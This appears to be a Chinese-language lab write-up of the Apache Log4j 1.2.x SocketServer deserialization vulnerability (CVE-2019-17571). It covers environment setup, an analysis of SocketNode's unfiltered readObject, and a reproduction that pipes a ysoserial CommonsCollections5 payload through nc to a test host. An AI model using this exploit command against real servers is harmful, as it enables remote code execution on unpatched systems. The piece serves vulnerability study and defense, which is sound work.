Apache Log4j 1.2.X反序列化漏洞(CVE-2019-17571)
0x01 漏洞简介
log4j是Apache开发的一个日志工具。可以将Web项目中的日志输出到控制台,文件,GUI组件,甚至是套接口服务器。Log4j1.2版本中包含一个SocketServer类,在未经验证的情况下,该SocketServe类很容易接受序列化的日志事件并对其进行反序列化,在结合反序列化工具使用时,可以利用该类远程执行任意代码。
0x02 影响版本
Log4j1.2.x<=1.2.17
0x03 环境搭建
docker下载环境并运行docker run -d -p 7777:7777 jackey0/log4j-cve-2019-17571:1.2.17
环境的SocketServer运行在7777端口,所以使用命令讲端口映射到本地的7777端口java -cp log4j-1.2.17.jar:commons-collections-3.1.jar org.apache.log4j.net.SocketServer 7777 ./log4j.properties ./
查看分配的端口docker ps -a
0x04 漏洞分析
从环境中将需要的jar文件拉去下来
- docker cp d3:/tmp/log4j-1.2.17.jar /home/test
- docker cp d3:/tmp/commons-collections-3.1.jar /home/test
其实这个漏洞非常简单,本质就是对从 socket 流中获取的数据没有进行过滤,而直接反序列化。如果当前环境中存在可利用的反序列化 Gadget 链,就可以达到命令执行等效果。我们可以创建如下 Demo 代码用于测试。
// src/SocketDeserializeDemo.java
import org.apache.log4j.net.SimpleSocketServer;
public class SocketDeserializeDemo {
public static void main(String[] args){
System.out.println("INFO: Log4j Listening on port 8888");
String[] arguments = {"8888", (new SocketDeserializeDemo()).getClass().getClassLoader().getResource("log4j.properties").getPath()};
SimpleSocketServer.main(arguments);
System.out.println("INFO: Log4j output successfuly.");
}
}
# src/resources/log4j.properties
log4j.rootCategory=DEBUG,stdout
log4j.appender.stdout=org.apache.log4j.ConsoleAppender
log4j.appender.stdout.layout=org.apache.log4j.PatternLayout
log4j.appender.stdout.threshold=DEBUG
log4j.appender.stdout.layout.ConversionPattern=[%d{yyy-MM-dd HH:mm:ss,SSS}]-[%p]-[MSG!:%m]-[%c\:%L]%n
#pom.xml
<dependencies>
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<version>1.2.17</version>
</dependency>
</dependencies>
可以选择将log4j-1.2.17.jar
包导入项目,也可以使用maven拉去,同时我们导入commons-collections-3.1.jar
包来进行测试
我们跟进 SimpleSocketServer 的 main 方法,发现其中调用了 SocketNode 类,具体代码如下。
如下图, SocketNode 类实现了 Runnable 接口,其构造方法从 socket 流中获取了数据,并将数据封装为一个 ObjectInputStream 对象。然后在其 run 方法中调用了 readObject 方法进行反序列化操作。由于这里没有对数据进行过滤,所以这里就出现了反序列化漏洞。
0x05 漏洞复现
ysoserial下载地址:https://github.com/frohoff/ysoserial 可以下载打包好的jar文件,也可以下载源文件自己编译mvn clean package -DskipTests
在攻击机上执行命令,使用ysoserial生成poc,然后使用nc触发SocketServer的7777端口java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/suc cess" | nc 192.168.237.129 7777
查看靶机,我们的命令已经成功执行